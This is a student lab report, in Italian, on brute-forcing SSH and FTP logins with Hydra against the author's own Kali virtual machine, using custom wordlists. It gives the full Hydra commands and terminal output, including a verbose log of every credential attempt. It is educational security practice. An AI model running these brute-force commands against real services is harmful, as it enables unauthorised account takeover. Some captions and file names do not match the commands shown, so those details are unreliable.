

Report Authentication cracking con Hydra

1. Obiettivo della simulazione

L'obiettivo è testare la sicurezza dei servizi SSH e FTP su **Kali Linux**. La simulazione serve a capire come un attaccante possa recuperare le credenziali di accesso (username e password) sfruttando il tool **Hydra** e delle **wordlist** personalizzate, ottimizzando i tempi di attacco.

2. Fase 1: Servizio SSH

- Creazione utente vittima: Ho creato l'utente "**test_user**" assegnandogli la password "**testpass**".

```
kali@kali: ~/Desktop

Session  Actions  Edit  View  Help

└─$ sudo adduser test_user
[sudo] password for kali:
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
   Room Number []:
   Work Phone []:
   Home Phone []:
    Other []:
Is the information correct? [Y/n] y
```

Screen 1 comando: **sudo adduser test_user**

- Attivazione e verifica del servizio

```
(kali@kali)-[~/Desktop]
└─$ sudo service ssh start
[sudo] password for kali:

(kali@kali)-[~/Desktop]
└─$ sudo service ssh status
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
   Active: active (running) since Fri 2026-04-10 05:22:03 EDT; 3h 56min ago
 Invocation: b80f26c69376460dbe0fb39e4bd33e3e
    Docs: man:sshd(8)
          man:sshd_config(5)
   Main PID: 377937 (sshd)
     Tasks: 1 (limit: 4358)
    Memory: 3.8M (peak: 24M)
       CPU: 303ms
    CGroup: /system.slice/ssh.service
            └─377937 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

Apr 10 06:25:34 kali sshd-session[404723]: Received disconnect from 192.168.1.12 port 49434:11: Bye Bye [pre>
Apr 10 06:25:34 kali sshd-session[404723]: Disconnected from authenticating user test_user 192.168.1.12 port>
Apr 10 06:25:34 kali sshd-session[404734]: Accepted password for test_user from 192.168.1.12 port 49444 ssh2>
Apr 10 06:25:34 kali sshd-session[404734]: pam_unix(sshd:session): session opened for user test_user(uid=100>
Apr 10 06:25:34 kali sshd-session[404734]: pam_unix(sshd:session): session closed for user test_user
Apr 10 08:31:56 kali sshd-session[467067]: Received disconnect from 192.168.1.12 port 47732:11: Bye Bye [pre>
Apr 10 08:31:56 kali sshd-session[467067]: Disconnected from authenticating user test_user 192.168.1.12 port>
Apr 10 08:31:56 kali sshd-session[467078]: Accepted password for test_user from 192.168.1.12 port 47746 ssh2>
Apr 10 08:31:56 kali sshd-session[467078]: pam_unix(sshd:session): session opened for user test_user(uid=100>
Apr 10 08:31:57 kali sshd-session[467078]: pam_unix(sshd:session): session closed for user test_user
lines 1-23/23 (END)
```

Screen 2 comandi: **sudo service ssh start** (attivazione servizio), **sudo service ssh status** (verifica del servizio attivo)

- Verifica della connessione: prima di usare **Hydra**, ho testato manualmente la raggiungibilità del servizio per assicurarmi che le porte fossero aperte.

```
(kali@kali)~[/Desktop]
$ ssh test_user@192.168.1.12
The authenticity of host '192.168.1.12 (192.168.1.12)' can't be established.
ED25519 key fingerprint is: SHA256:zL45pXSOTIsJiypFvqBRetl8RrIJZKc0VH5KDNvyBA
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.12' (ED25519) to the list of known hosts.
test_user@192.168.1.12's password:
Permission denied, please try again.
test_user@192.168.1.12's password:
Linux kali 6.16.8+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.16.8-1kali1 (2025-09-24) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)~[/]
$ exit
logout
Connection to 192.168.1.12 closed.
```

Screen 3 comando: **ssh test_user@192.168.1.12** e **exit**

- Esecuzione attacco: Ho lanciato hydra puntando sul servizio **SSH**. Ho usato una wordlist contenente la password corretta per dimostrare l'efficacia del cracking.

```
(kali@kali)~[/Desktop]
$ hydra -l test_user -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt 192.168.1.12 -t4 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-10 06:25:34
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (1:1/p:1), -1 try per task
[DATA] attacking ssh://192.168.1.12:22/
[22][ssh] host: 192.168.1.12 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-10 06:25:34
```

Screen 4 comando: **hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.1.12 -t4 ssh**

- Attacco: Utilizzando il tool Hydra e la wordlist **SecLists**, è stata recuperata con successo la credenziale di accesso. Si è notata l'importanza della modalità di (Bridge) per evitare rifiuti di connessione.

3. Fase 2: Servizio FTP

Nella seconda fase ho configurato il servizio **FTP**. Qui ho simulato un attacco più complesso (blackbox), dove non conoscevo nome dell'utente.

- Installazione, avvio e verifica del servizio FTP

```
(kali㉿kali)-[~/Desktop]
└─$ sudo apt update && sudo apt install vsftpd -y
[sudo] password for kali:
Get:1 http://kali.download/kali kali-rolling InRelease [34.0 kB]
Get:2 https://packages.microsoft.com/repos/code stable InRelease [3,590 B]
Get:3 https://packages.microsoft.com/repos/code stable/main amd64 Packages [25.6 kB]
Get:4 http://kali.download/kali kali-rolling/main amd64 Packages [21.1 MB]
16% [4 Packages 299 kB/21.1 MB 1%]
16% [4 Packages 299 kB/21.1 MB 1%]
Ign:4 http://kali.download/kali kali-rolling/main amd64 Packages
Get:5 http://kali.download/kali kali-rolling/main amd64 Contents (deb) [53.5 MB]
Get:6 http://kali.download/kali kali-rolling/contrib amd64 Packages [118 kB]
Get:7 http://kali.download/kali kali-rolling/contrib amd64 Contents (deb) [275 kB]
Get:8 http://kali.download/kali kali-rolling/non-free amd64 Packages [184 kB]
Get:9 http://kali.download/kali kali-rolling/non-free amd64 Contents (deb) [893 kB]
Get:10 http://kali.download/kali kali-rolling/non-free-firmware amd64 Packages [14.3 kB]
Get:4 http://kali.download/kali kali-rolling/main amd64 Packages [21.1 MB]
Fetched 75.8 MB in 1min 29s (855 kB/s)
1854 packages can be upgraded. Run 'apt list --upgradable' to see them.
Installing:
  vsftpd

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1854
  Download size: 143 kB
  Space needed: 365 kB / 46.5 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.5 [143 kB]
Fetched 143 kB in 1s (256 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 434587 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.5-0.5_amd64.deb ...
```

Screen 5 comando: *sudo apt update && sudo apt install vsftpd -y*

```
(kali㉿kali)-[~/Desktop]
└─$ sudo service vsftpd start

(kali㉿kali)-[~/Desktop]
└─$ sudo service vsftpd status
● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
   Active: active (running) since Fri 2026-04-10 06:32:03 EDT; 12s ago
     Invocation: ff01ef1970324670ac70769d58a3d3ec
   Process: 408398 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SU
   Main PID: 408399 (vsftpd)
      Tasks: 1 (limit: 4358)
     Memory: 1004K (peak: 1.9M)
        CPU: 14ms
    CGroup: /system.slice/vsftpd.service
            └─408399 /usr/sbin/vsftpd /etc/vsftpd.conf

Apr 10 06:32:03 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server ...
Apr 10 06:32:03 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.
```

Screen 6 comandi: *sudo service vsftpd start e sudo service vsftod status*

- **Strategia delle Wordlist:** Seguendo le indicazioni del professore, ho creato due file di testo (listausername.txt e lista.txt) per diminuire i tempi di elaborazione e colpire in modo chirurgico.

```
(kali㉿kali)-[~/Desktop]
$ echo -e "admin\nmykola\npaolo\nnapoli\nbenevento\ntest_user\ngatto\ncane" > listausername.txt

(kali㉿kali)-[~/Desktop]
$ cat listausername.txt
admin
mykola
paolo
napoli
benevento
test_user
gatto
cane
```

Screen 7 Creazione e verifica **listausername.txt**

```
(kali㉿kali)-[~/Desktop]
$ echo -e "nadmin\nmykola\npaolo\n12345\nroot\nqwerty\nitalia\ngatto\ncane\ngiorno\ncrepuscolo\ntestpass" > lista.txt

(kali㉿kali)-[~/Desktop]
$ cat lista.txt
nadmin
mykola
paolo
12345
root
qwerty
italia
gatto
cane
giorno
crepuscolo
testpass
```

Screen 8 Creazione e verifica **lista.txt**

- **Attacco finale e monitoraggio:** Ho eseguito l'attacco combinato (username + password). Poi ho fatto lanciare un altro attacco aggiungendo la modalità "-V" per analizzare ogni singolo tentativo fatto dal software e capire come Hydra gestisce le combinazioni.

```
(kali㉿kali)-[~/Desktop]
$ hydra -L listausername.txt -P lista.txt 192.168.1.12 ftp
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service orga

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-10 07:16:33
[DATA] max 16 tasks per 1 server, overall 16 tasks, 96 login tries (l:8/p:12), ~6 tries per task
[DATA] attacking ftp://192.168.1.12:21/
[21][ftp] host: 192.168.1.12 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-10 07:16:55
```

Screen 9 lancio attacco con comando: **hydra -L listausername.txt -P lista.txt 192.168.1.12 ftp**


```

(kali@kali)~[~/Desktop]
$ hydra -L listusername.txt -P lista.txt 192.168.1.12 ftp -V
hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service orga
nizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-10 07:36:00
[DATA] max 16 tasks per 1 server, overall 16 tasks, 96 login tries (l:8/p:12), ~6 tries per task
[DATA] attacking ftp://192.168.1.12:21/
[ATTEMPT] target 192.168.1.12 - login "admin" - pass "nadmin" - 1 of 96 [child 0] (0/0)
[ATTEMPT] target 192.168.1.12 - login "admin" - pass "mykola" - 2 of 96 [child 1] (0/0)
[ATTEMPT] target 192.168.1.12 - login "admin" - pass "paolo" - 3 of 96 [child 2] (0/0)
[ATTEMPT] target 192.168.1.12 - login "admin" - pass "12345" - 4 of 96 [child 3] (0/0)
[ATTEMPT] target 192.168.1.12 - login "admin" - pass "root" - 5 of 96 [child 4] (0/0)
[ATTEMPT] target 192.168.1.12 - login "admin" - pass "qwerty" - 6 of 96 [child 5] (0/0)
[ATTEMPT] target 192.168.1.12 - login "admin" - pass "italia" - 7 of 96 [child 6] (0/0)
[ATTEMPT] target 192.168.1.12 - login "admin" - pass "gatto" - 8 of 96 [child 7] (0/0)
[ATTEMPT] target 192.168.1.12 - login "admin" - pass "cane" - 9 of 96 [child 8] (0/0)
[ATTEMPT] target 192.168.1.12 - login "admin" - pass "giorno" - 10 of 96 [child 9] (0/0)
[ATTEMPT] target 192.168.1.12 - login "admin" - pass "crepuscolo" - 11 of 96 [child 10] (0/0)
[ATTEMPT] target 192.168.1.12 - login "admin" - pass "testpass" - 12 of 96 [child 11] (0/0)
[ATTEMPT] target 192.168.1.12 - login "mykola" - pass "nadmin" - 13 of 96 [child 12] (0/0)
[ATTEMPT] target 192.168.1.12 - login "mykola" - pass "mykola" - 14 of 96 [child 13] (0/0)
[ATTEMPT] target 192.168.1.12 - login "mykola" - pass "paolo" - 15 of 96 [child 14] (0/0)
[ATTEMPT] target 192.168.1.12 - login "mykola" - pass "12345" - 16 of 96 [child 15] (0/0)
[ATTEMPT] target 192.168.1.12 - login "mykola" - pass "root" - 17 of 96 [child 6] (0/0)
[ATTEMPT] target 192.168.1.12 - login "mykola" - pass "qwerty" - 18 of 96 [child 5] (0/0)
[ATTEMPT] target 192.168.1.12 - login "mykola" - pass "italia" - 19 of 96 [child 1] (0/0)
[ATTEMPT] target 192.168.1.12 - login "mykola" - pass "gatto" - 20 of 96 [child 0] (0/0)
[ATTEMPT] target 192.168.1.12 - login "mykola" - pass "cane" - 21 of 96 [child 13] (0/0)
[ATTEMPT] target 192.168.1.12 - login "mykola" - pass "giorno" - 22 of 96 [child 3] (0/0)
[ATTEMPT] target 192.168.1.12 - login "mykola" - pass "crepuscolo" - 23 of 96 [child 4] (0/0)
[ATTEMPT] target 192.168.1.12 - login "mykola" - pass "testpass" - 24 of 96 [child 10] (0/0)
[ATTEMPT] target 192.168.1.12 - login "paolo" - pass "nadmin" - 25 of 96 [child 8] (0/0)
[ATTEMPT] target 192.168.1.12 - login "paolo" - pass "mykola" - 26 of 96 [child 9] (0/0)
[ATTEMPT] target 192.168.1.12 - login "paolo" - pass "paolo" - 27 of 96 [child 7] (0/0)
[ATTEMPT] target 192.168.1.12 - login "paolo" - pass "12345" - 28 of 96 [child 11] (0/0)
[ATTEMPT] target 192.168.1.12 - login "paolo" - pass "root" - 29 of 96 [child 14] (0/0)
[ATTEMPT] target 192.168.1.12 - login "paolo" - pass "qwerty" - 30 of 96 [child 2] (0/0)
[ATTEMPT] target 192.168.1.12 - login "paolo" - pass "italia" - 31 of 96 [child 15] (0/0)
[ATTEMPT] target 192.168.1.12 - login "paolo" - pass "gatto" - 32 of 96 [child 12] (0/0)
[ATTEMPT] target 192.168.1.12 - login "paolo" - pass "cane" - 33 of 96 [child 5] (0/0)
[ATTEMPT] target 192.168.1.12 - login "paolo" - pass "giorno" - 34 of 96 [child 6] (0/0)
[ATTEMPT] target 192.168.1.12 - login "paolo" - pass "crepuscolo" - 35 of 96 [child 0] (0/0)
[ATTEMPT] target 192.168.1.12 - login "paolo" - pass "testpass" - 36 of 96 [child 1] (0/0)
[ATTEMPT] target 192.168.1.12 - login "napoli" - pass "nadmin" - 37 of 96 [child 7] (0/0)
[ATTEMPT] target 192.168.1.12 - login "napoli" - pass "testpass" - 48 of 96 [child 9] (0/0)
[ATTEMPT] target 192.168.1.12 - login "benevento" - pass "nadmin" - 49 of 96 [child 5] (0/0)
[ATTEMPT] target 192.168.1.12 - login "benevento" - pass "mykola" - 50 of 96 [child 6] (0/0)
[ATTEMPT] target 192.168.1.12 - login "benevento" - pass "paolo" - 51 of 96 [child 0] (0/0)
[ATTEMPT] target 192.168.1.12 - login "benevento" - pass "12345" - 52 of 96 [child 13] (0/0)
[ATTEMPT] target 192.168.1.12 - login "benevento" - pass "root" - 53 of 96 [child 1] (0/0)
[ATTEMPT] target 192.168.1.12 - login "benevento" - pass "qwerty" - 54 of 96 [child 7] (0/0)
[ATTEMPT] target 192.168.1.12 - login "benevento" - pass "italia" - 55 of 96 [child 10] (0/0)
[ATTEMPT] target 192.168.1.12 - login "benevento" - pass "gatto" - 56 of 96 [child 15] (0/0)
[ATTEMPT] target 192.168.1.12 - login "benevento" - pass "cane" - 57 of 96 [child 8] (0/0)
[ATTEMPT] target 192.168.1.12 - login "benevento" - pass "giorno" - 58 of 96 [child 2] (0/0)
[ATTEMPT] target 192.168.1.12 - login "benevento" - pass "crepuscolo" - 59 of 96 [child 4] (0/0)
[ATTEMPT] target 192.168.1.12 - login "benevento" - pass "testpass" - 60 of 96 [child 11] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "nadmin" - 61 of 96 [child 9] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "mykola" - 62 of 96 [child 12] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "paolo" - 63 of 96 [child 14] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "12345" - 64 of 96 [child 3] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "root" - 65 of 96 [child 5] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "qwerty" - 66 of 96 [child 6] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "italia" - 67 of 96 [child 0] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "gatto" - 68 of 96 [child 15] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "cane" - 69 of 96 [child 13] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "giorno" - 70 of 96 [child 7] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "crepuscolo" - 71 of 96 [child 10] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "testpass" - 72 of 96 [child 1] (0/0)
[ATTEMPT] target 192.168.1.12 - login "gatto" - pass "nadmin" - 73 of 96 [child 8] (0/0)
[ATTEMPT] target 192.168.1.12 - login "gatto" - pass "mykola" - 74 of 96 [child 4] (0/0)
[21][ftp] host: 192.168.1.12 login: test_user password: testpass
[ATTEMPT] target 192.168.1.12 - login "gatto" - pass "paolo" - 75 of 96 [child 1] (0/0)
[ATTEMPT] target 192.168.1.12 - login "gatto" - pass "12345" - 76 of 96 [child 9] (0/0)
[ATTEMPT] target 192.168.1.12 - login "gatto" - pass "root" - 77 of 96 [child 12] (0/0)
[ATTEMPT] target 192.168.1.12 - login "gatto" - pass "qwerty" - 78 of 96 [child 14] (0/0)
[ATTEMPT] target 192.168.1.12 - login "gatto" - pass "italia" - 79 of 96 [child 2] (0/0)
[ATTEMPT] target 192.168.1.12 - login "gatto" - pass "gatto" - 80 of 96 [child 11] (0/0)
[ATTEMPT] target 192.168.1.12 - login "gatto" - pass "cane" - 81 of 96 [child 3] (0/0)
[ATTEMPT] target 192.168.1.12 - login "gatto" - pass "giorno" - 82 of 96 [child 6] (0/0)
[ATTEMPT] target 192.168.1.12 - login "gatto" - pass "crepuscolo" - 83 of 96 [child 5] (0/0)
[ATTEMPT] target 192.168.1.12 - login "gatto" - pass "testpass" - 84 of 96 [child 10] (0/0)
[ATTEMPT] target 192.168.1.12 - login "cane" - pass "nadmin" - 85 of 96 [child 7] (0/0)
[ATTEMPT] target 192.168.1.12 - login "cane" - pass "mykola" - 86 of 96 [child 0] (0/0)
[ATTEMPT] target 192.168.1.12 - login "cane" - pass "paolo" - 87 of 96 [child 15] (0/0)
[ATTEMPT] target 192.168.1.12 - login "cane" - pass "12345" - 88 of 96 [child 8] (0/0)
[ATTEMPT] target 192.168.1.12 - login "cane" - pass "root" - 89 of 96 [child 13] (0/0)
[ATTEMPT] target 192.168.1.12 - login "cane" - pass "qwerty" - 90 of 96 [child 12] (0/0)
[ATTEMPT] target 192.168.1.12 - login "cane" - pass "italia" - 91 of 96 [child 4] (0/0)
The session file ./hydra.restore was written. Type "hydra -R" to resume session.

```

Screen 10 lancio attacco con comando: **hydra -L listusername.txt -P lista.txt 192.168.1.12 ftp -V**

4. Conclusioni

La simulazione ha confermato che la velocità di un attacco non dipende solo dalla potenza della macchina, ma dalla qualità della wordlist utilizzata. Passando a liste personalizzate, il tempo di cracking è sceso da ore a pochi secondi. In questa simulazione la modalità **Verbose(-V)** è stata utile per monitorare il processo e confermare che **Hydra** stava testando correttamente tutte le coppie di credenziali fornite.